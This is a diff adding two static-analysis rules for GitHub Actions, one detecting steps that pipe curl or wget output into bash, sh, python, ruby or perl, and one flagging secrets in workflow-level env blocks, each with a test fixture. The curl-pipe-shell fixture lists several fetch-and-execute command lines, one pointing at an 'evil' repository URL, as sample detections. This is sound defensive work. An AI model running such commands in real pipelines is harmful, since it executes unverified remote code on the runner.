diff --git a/yaml/github-actions/security/gha-curl-pipe-shell.test.yaml b/yaml/github-actions/security/gha-curl-pipe-shell.test.yaml new file mode 100644 index 0000000000..cc5b2fb509 --- /dev/null +++ b/yaml/github-actions/security/gha-curl-pipe-shell.test.yaml @@ -0,0 +1,59 @@ +name: Test gha-curl-pipe-shell rule + +on: + push: + branches: [develop] + +jobs: + test: + runs-on: ubuntu-latest + steps: + # ruleid: gha-curl-pipe-shell + - run: curl -fsSL https://example.com/install.sh | bash + + # ruleid: gha-curl-pipe-shell + - run: curl -fsSL https://example.com/install.sh | sh + + # ruleid: gha-curl-pipe-shell + - run: curl https://get.example.com | python3 + + # ruleid: gha-curl-pipe-shell + - run: curl https://get.example.com | python + + # ruleid: gha-curl-pipe-shell + - run: curl https://get.example.com | ruby + + # ruleid: gha-curl-pipe-shell + - run: curl https://get.example.com | perl + + # ruleid: gha-curl-pipe-shell + - run: wget -qO- https://raw.githubusercontent.com/evil/repo/main/install.sh | sh + + # ruleid: gha-curl-pipe-shell + - run: wget -qO- https://example.com/setup.sh | bash + + - name: multiline curl pipe bash + # ruleid: gha-curl-pipe-shell + run: | + curl -L https://example.com/setup.sh | bash -s -- --arg + + - name: multiline wget pipe sh + # ruleid: gha-curl-pipe-shell + run: | + wget -qO- https://example.com/install.sh | sh + + # ok: gha-curl-pipe-shell + - run: curl -fsSL https://example.com/install.sh | sha256sum + + # ok: gha-curl-pipe-shell + - run: curl -o /tmp/install.sh https://example.com/install.sh + + # ok: gha-curl-pipe-shell + - run: echo "hello" | bash + + - name: Download only no pipe to shell + # ok: gha-curl-pipe-shell + run: | + curl -fsSL https://example.com/install.sh -o /tmp/install.sh + sha256sum /tmp/install.sh + bash /tmp/install.sh diff --git a/yaml/github-actions/security/gha-curl-pipe-shell.yaml b/yaml/github-actions/security/gha-curl-pipe-shell.yaml new file mode 100644 index 0000000000..259d420af2 --- /dev/null +++ b/yaml/github-actions/security/gha-curl-pipe-shell.yaml @@ -0,0 +1,47 @@ +rules: +- id: gha-curl-pipe-shell + languages: + - yaml + message: > + A `run:` step pipes the output of `curl` or `wget` directly into a shell interpreter. + This is the "curl | bash" install pattern — if the remote server is compromised or the + URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider + downloading the file first, verifying its checksum or signature, and then executing it. + metadata: + category: security + cwe: + - "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')" + owasp: + - A03:2021 - Injection + - A03:2025 - Injection + references: + - https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions + - https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ + technology: + - github-actions + - bash + - curl + cwe2021-top25: true + cwe2022-top25: true + subcategory: + - vuln + likelihood: MEDIUM + impact: HIGH + confidence: HIGH + patterns: + - pattern-inside: 'steps: [...]' + - pattern-inside: | + - run: ... + ... + - pattern: 'run: $SHELL' + - metavariable-pattern: + language: bash + metavariable: $SHELL + patterns: + - pattern-either: + - pattern: curl ... | $CMD ... + - pattern: wget ... | $CMD ... + - metavariable-regex: + metavariable: $CMD + regex: '^(bash|sh|python3?|ruby|perl)$' + severity: ERROR diff --git a/yaml/github-actions/security/gha-workflow-env-secret.test.yaml b/yaml/github-actions/security/gha-workflow-env-secret.test.yaml new file mode 100644 index 0000000000..8732cd7914 --- /dev/null +++ b/yaml/github-actions/security/gha-workflow-env-secret.test.yaml @@ -0,0 +1,28 @@ +name: Test gha-workflow-env-secret rule + +on: + push: + branches: [develop] + +# TP: workflow-level env exposes secret to all jobs +env: + # ruleid: gha-workflow-env-secret + TOKEN: ${{ secrets.MY_TOKEN }} + +jobs: + build: + runs-on: ubuntu-latest + # TN: job-level env — inside jobs, not workflow-level + env: + # ok: gha-workflow-env-secret + JOB_TOKEN: ${{ secrets.JOB_SECRET }} + steps: + - name: deploy + # TN: step-level env — most narrowly scoped, preferred + env: + # ok: gha-workflow-env-secret + STEP_TOKEN: ${{ secrets.DEPLOY_TOKEN }} + run: ./deploy.sh + + - name: build + run: make build diff --git a/yaml/github-actions/security/gha-workflow-env-secret.yaml b/yaml/github-actions/security/gha-workflow-env-secret.yaml new file mode 100644 index 0000000000..93633f071d --- /dev/null +++ b/yaml/github-actions/security/gha-workflow-env-secret.yaml @@ -0,0 +1,33 @@ +rules: +- id: gha-workflow-env-secret + languages: + - yaml + message: > + A secret is exposed in the workflow-level `env:` block, making it available to every + job and step in this workflow — including any untrusted code run in pull-request + workflows. Scope secrets as narrowly as possible: prefer step-level `env:` so the + secret is only available where it is actually needed. + metadata: + category: security + cwe: + - "CWE-732: Incorrect Permission Assignment for Critical Resource" + owasp: + - A01:2021 - Broken Access Control + - A01:2025 - Broken Access Control + references: + - https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-secrets + - https://docs.github.com/en/actions/learn-github-actions/variables#defining-environment-variables-for-a-single-workflow + technology: + - github-actions + subcategory: + - audit + likelihood: LOW + impact: HIGH + confidence: MEDIUM + patterns: + - pattern-inside: | + env: + ... + - pattern-regex: '\$\{\{\s*secrets\.' + - pattern-not-inside: 'jobs: ...' + severity: WARNING